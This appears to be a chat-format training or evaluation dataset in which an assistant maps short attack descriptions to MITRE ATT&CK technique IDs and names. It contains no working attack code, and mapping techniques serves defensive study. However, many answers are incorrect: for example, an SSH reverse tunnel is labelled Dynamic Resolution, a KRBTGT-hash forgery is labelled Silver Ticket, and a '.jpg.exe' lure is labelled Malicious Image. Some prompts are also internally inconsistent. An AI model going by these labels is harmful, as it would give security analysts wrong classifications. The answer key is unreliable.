                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary creates a new email account on the victim's mail server to use for command and control communications."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Establish Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages an invalid code signature to masquerade as a trusted Windows service."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies a shared shortcut (.lnk) file on a network drive, pointing it to a malicious executable that runs when clicked."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant establishes a persistent SSH reverse tunnel on port 22 to maintain access to the victim network."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queries Active Directory for service principal names, obtains Kerberos tickets, and then launches offline dictionary attacks on the ticket hashes to extract service account credentials."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a domain controller, the adversary creates a new user with \"Domain Admins\" membership and sets a known password to bypass authentication controls."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers replace a legitimate .timer file with one that starts a cryptominer service, persisting the mining operation across reboots."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor obtains a legitimate code signing certificate from a compromised Certificate Authority to sign malware."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sends a GET request to the metadata API of a cloud VM to extract the embedded secret keys and tokens."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary used a base64-encoded command executed via bash -c to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor runs a script that authenticates to the victim's OWA portal and uses search queries to download all messages matching specific criteria."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages privilege escalation to insert a malicious SSH key into /root/.ssh/authorized_keys."
            },
            {
                "role": "assistant",
                "content": "T1098.004 - Account Manipulation: SSH Authorized Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor runs the command 'wevtutil qe Application /c:100 /f:text' to enumerate application logs on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious macro examines the value of the environment variable 'PROCESSOR_IDENTIFIER' for keywords indicating an emulated processor."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contained an attachment called \"picture.jpg.exe\" that executed when the user opened it."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Modifying system files and registry settings to evade detection"
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker gathers encrypted documents and stores them in a temporary directory on the victim machine before uploading them to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious image file with a double-extension (e.g., \"photo.jpg.exe\") is disguised as a regular image; the victim's OS mistakenly runs the executable portion, leading to user execution of malware."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion creates a .desktop file with Exec= commands in the user's autostart folder, leveraging XDG autostart mechanisms for automatic execution."
            },
            {
                "role": "assistant",
                "content": "T1547.013 - Boot or Logon Autostart Execution: XDG Autostart Entries"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries dump passwords from the Windows Registry and store them in plaintext files on the host."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑espionage group performed offline password cracking on salted SHA‑1 hashes obtained from a breached system."
            },
            {
                "role": "assistant",
                "content": "T1110.002 - Brute Force: Password Cracking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary drops a PowerShell script in the Windows Startup folder so it runs each time the user logs on."
            },
            {
                "role": "assistant",
                "content": "T1037 - Boot or Logon Initialization Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes a malformed RDP file to trigger a file download of a secondary payload onto the target's desktop."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors encoded exfiltrated data within HTTP traffic that was tunneled through a VPN over a corporate LAN."
            },
            {
                "role": "assistant",
                "content": "T1011 - Exfiltration Over Other Network Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply chain attack where the adversary inserts malicious code into a dependency’s build script that executes during the target’s automated testing."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script parses archived WhatsApp backups for saved login credentials and passwords."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious video file exploits a flaw in the video codec library, causing the media player to execute arbitrary code on startup."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker utilizes the \"ctr\" CLI to list containers and view their runtime state."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor creates a persistent, bidirectional communication tunnel over a web service, enabling real-time command execution."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor corrupts the system's boot partition files, allowing execution of custom code at startup."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor buys a keylogger binary from a darknet marketplace."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a compromised CI/CD pipeline to commit and push stolen API keys to a hidden repository on GitHub Enterprise."
            },
            {
                "role": "assistant",
                "content": "T1567.001 - Exfiltration Over Web Service: Exfiltration to Code Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script is set to run via a systemd timer unit that triggers on boot."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware creates a transacted file, rolls back the transaction, and then hijacks the rolled‑back file to spawn a malicious process."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors acquire a domain that resembles a corporate brand and use it for data exfiltration callbacks."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromised the DNS records of a target domain, redirecting users to a spoofed page that displayed defaced content."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses native system calls via LoadLibrary and GetProcAddress to invoke the CreateProcess API."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The red team uploads a malicious .inf file to the domain's SYSVOL directory, which contains GPP credential settings in clear text."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a credential sniffer to intercept authentication traffic on a network, what tactic is being employed here?"
            },
            {
                "role": "assistant",
                "content": "T1557 - Adversary-in-the-Middle"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker pushes a malicious container image to the victim's internal registry and triggers an automated deployment via GitOps."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replaces the system's bootloader with a compromised version that loads hidden malware during the pre-OS boot phase."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Use DNS tunneling to transfer data in a way that evades traditional network Monitoring"
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a DLL into the Windows Security Support Provider directory and updates the 'Security Packages' registry value."
            },
            {
                "role": "assistant",
                "content": "T1547.005 - Boot or Logon Autostart Execution: Security Support Provider"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware campaign abuses Win32_Subscription to schedule execution of its encryption routine via WMI."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A zero‑day vulnerability in the web application firewall was used to bypass security controls and embed defacement messages on the site."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a forged Kerberos service ticket by abusing a captured KRBTGT hash, targeting the remote desktop service to bypass authentication."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group updates the system's code signing policy file to trust a rogue certificate, allowing malicious code execution."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit a software supplier’s trusted build server to inject a hidden command‑and‑control module into the final product."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script calls 'ps aux' on a Linux system to discover which processes are running."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By inserting a rogue directory at the beginning of the search order in the Windows Registry's App Paths, the threat actor ensures their payload is executed whenever the targeted application is launched."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a malicious binary to break out of the mobile OS isolation and gain access to the host's resources."
            },
            {
                "role": "assistant",
                "content": "T1611 - Escape to Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool reads the config files from a network device's flash memory."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor registers a malicious Access add‑in under HKLM\\Software\\Microsoft\\Office\\Access\\Addins for system‑wide persistence."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses WMI to list installed software packages on the first compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor corrupts the domain controller's credential validation process, enabling impersonation of legitimate users."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes a PowerShell script that adds a forwarding rule, sending all incoming messages to a malicious mailbox."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged shortcut modification by altering the icon location of a legitimate shortcut to include a malicious payload path."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A rogue developer account was used to submit a compromised version of a Ruby gem to RubyGems.org, which was subsequently integrated into the victim's production environment via automated builds."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a document triggers the execution of 'net share' to discover local and remote shared resources."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder wipes out all registry Run and RunOnce entries along with scheduled tasks to eliminate any persistence mechanisms they installed."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker steals a valid RDP session cookie and reuses it to gain access to the victim's desktop."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits the default \"admin\" credentials on the web server to gain privileged access."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After phishing the website's admin email, the attacker logged in and altered the homepage content to publish a political statement."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom malware module reads /proc/net/tcp to retrieve details of open network connections on a Unix system."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised account is used to connect to a remote host's IPC$ share, allowing the attacker to enumerate directories and upload malware."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor injects a remote thread into the lsass.exe process with Mavinject, enabling privilege escalation through a system binary proxy."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits the cmstp.exe binary to run arbitrary code, leveraging its ability to install connection profiles."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker copies a credential dumping tool from a compromised web server to a new foothold via FTP."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker distributed a trojanized version of a game client, leveraging it to establish persistence on the victim’s system."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor abuses launchctl to start a hidden background process that exfiltrates data from the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider uses PowerShell to disable a colleague's account, preventing them from accessing shared resources."
            },
            {
                "role": "assistant",
                "content": "T1531 - Account Access Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker posts a malicious link on a social media platform that leads to a drive-by download, prompting the user to run a disguised installer."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries create custom email transport rules that automatically move malicious phishing messages to hidden folders, preventing user visibility."
            },
            {
                "role": "assistant",
                "content": "T1564.008 - Hide Artifacts: Email Hiding Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses LNK icon smuggling by modifying the .lnk file’s icon cache to hide the true executable location."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leverage the 'stream' feature of NTFS to embed malicious scripts within legitimate PDF files."
            },
            {
                "role": "assistant",
                "content": "T1564.005 - Hide Artifacts: Hidden File System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Read registry key."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
